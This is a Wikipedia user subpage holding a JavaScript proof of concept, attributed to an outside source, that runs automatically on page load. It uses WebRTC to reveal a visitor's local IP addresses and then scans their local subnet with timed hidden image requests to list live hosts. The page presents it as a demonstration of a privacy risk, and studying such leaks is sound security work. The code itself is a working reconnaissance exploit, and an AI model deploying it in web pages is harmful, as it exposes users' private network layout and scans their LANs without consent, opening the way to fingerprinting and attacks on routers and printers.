Участник:Krassotkin/WebRTC позволяет раскрыть локальный IP-адрес/demo2.js

Замечание: Возможно, после публикации вам придётся очистить кэш своего браузера, чтобы увидеть изменения.

  • Firefox / Safari: Удерживая клавишу Shift, нажмите на панели инструментов Обновить либо нажмите Ctrl+F5 или Ctrl+R (⌘+R на Mac)
  • Google Chrome: Нажмите Ctrl+Shift+R (⌘+Shift+R на Mac)
  • Internet Explorer / Edge: Удерживая Ctrl, нажмите Обновить либо нажмите Ctrl+F5
  • Opera: Нажмите Ctrl+F5.
// Source: https://dl.dropboxusercontent.com/u/1878671/enumhosts.html

<html>
<head>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Anonymous+Pro:400,700|Droid+Sans+Mono|Open+Sans:400,700|Linden+Hill|Quattrocento:400,700|News+Cycle:400,700|Antic+Slab|Cabin+Condensed:400,700">
<style>
  body {
    font-family: 'Open Sans', Helvetica, Arial, FreeSans;
    font-size: 12pt;
    color: #666;
    margin-top: 40px;
    text-align: center;
  }
  #container {
    width: auto;
    display: inline-block;
    max-width: 700px;
    margin: 0 auto;
    text-align: left;
  }
</style>
<script>
function TaskController(numConcurrent, onDone) {
  this.numConcurrent = numConcurrent;
  this.onDone = onDone || function() {};
  this.pending = 0;
  this.queued = [];
  this.checkTimer = -1;
}

TaskController.prototype.deferCheck = function() {
  if (this.checkTimer != -1) return;
  this.checkTimer = setTimeout((function() {
    this.checkTimer = -1;
    this.check();
  }).bind(this), 0);
};

TaskController.prototype.check = function() {
  if (this.pending < 1 && this.queued.length == 0) return this.onDone();
  while (this.pending < this.numConcurrent && this.queued.length > 0) {
    try {
      this.pending += 1;
      setTimeout((function(task) {
        task((function() {
          this.pending -= 1;
          this.deferCheck();
        }).bind(this));
      }).bind(this, this.queued.shift()), 0);
    }
    catch (e) {
      this.pending -= 1;
      this.deferCheck();
    }
  }
};

TaskController.prototype.queue = function(task) {
  this.queued.push(task);
  this.deferCheck();
};

function probeIp(ip, timeout, cb) {
  var start = Date.now();
  var done = false;
  var img = document.createElement('img');
  var clean = function() {
    if (!img) return;
    document.body.removeChild(img);
    img = null;
  };
  var onResult = function(success) {
    if (done) return;
    done = true;
    clean();
    cb(ip, Date.now() - start < timeout);
  };
  document.body.appendChild(img);
  img.style.display = 'none';
  img.onload = function() { onResult(true); };
  img.onerror = function() { onResult(false); };
  img.src = 'https://' + ip + ':' + ~~(1024+1024*Math.random()) + '/I_DO_NOT_EXIST?' + Math.random();
  setTimeout(function() { if (img) img.src = ''; }, timeout + 500);
}

function probeNet(net, onHostFound, onDone) {
  net = net.replace(/(\d+\.\d+\.\d+)\.\d+/, '$1.');
  var timeout = 5000;
  var done = false;
  var found = [];
  var q = new TaskController(5, onDone);
  for (var i = 1; i < 256; ++i) {
    q.queue((function(i, cb) {
      probeIp(net + i, timeout, function(ip, success) {
        if (success) onHostFound(ip);
        cb();
      });
    }).bind(this, i));
  }
}

function enumLocalIPs(cb) {
  var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
  if (!RTCPeerConnection) return false;
  var addrs = Object.create(null);
  addrs['0.0.0.0'] = false;
  function addAddress(newAddr) {
    if (newAddr in addrs) return;
    addrs[newAddr] = true;
    cb(newAddr);
  }
  function grepSDP(sdp) {
    var hosts = [];
    sdp.split('\r\n').forEach(function (line) {
      if (~line.indexOf('a=candidate')) {
        var parts = line.split(' '),
            addr = parts[4],
            type = parts[7];
        if (type === 'host') addAddress(addr);
      } else if (~line.indexOf('c=')) {
        var parts = line.split(' '),
        addr = parts[2];
        addAddress(addr);
      }
    });
  }
  var rtc = new RTCPeerConnection({iceServers:[]});
  rtc.createDataChannel('', {reliable:false});
  rtc.onicecandidate = function (evt) {
    if (evt.candidate) grepSDP('a='+evt.candidate.candidate);
  };
  setTimeout(function() {
    rtc.createOffer(function (offerDesc) {
      grepSDP(offerDesc.sdp);
      rtc.setLocalDescription(offerDesc);
    }, function (e) {});
  }, 500);
  return true;
}

function go() {
  var q = new TaskController(1);
  enumLocalIPs(function(localIp) {
    document.getElementById('localips').innerHTML += localIp + '<br>';
    q.queue(function(cb) {
      probeNet(localIp,
               function(ip) {
                 document.getElementById('results').innerHTML += ip + '<br>';
               },
               cb);
    });
  }) || (document.getElementById('localips').innerHTML = 'WebRTC seems not to be supported');
}
</script>
</head>
<body onload="go()">
  <div id="container">
    <p>The script on this page will attempt to find your local ip addresses, using HTML5 WebRTC, and then use that info to probe for other live hosts on your lan(s).</p>
    <p>As provided it should work with Chrome and Firefox on Windows and OS X. Chromium on Linux does not work, Firefox reportedly does.</p>
    <p>See this post [<a href="https://hacking.ventures/local-ip-discovery-with-html5-webrtc-security-and-privacy-risk/">https://hacking.ventures/local-ip-discovery-with-html5-webrtc-security-and-privacy-risk/</a>] for a discussion on potential security and privacy consequences. Clues: Fingerprinting, Router / Printer exploitation.</p>
    <p>Note that reloading the page with F5 or similar tends to cause a lot of false positives. Reset the url instead.</p>
    <hr>
    <p>Your local ips appear to be:</p>
    <div id="localips"></div>
    <br/>
    <p>Other boxes on your LAN possibly include (this will take some time ..):</p>
    <div id="results"></div>
  </container>
</body>
</html>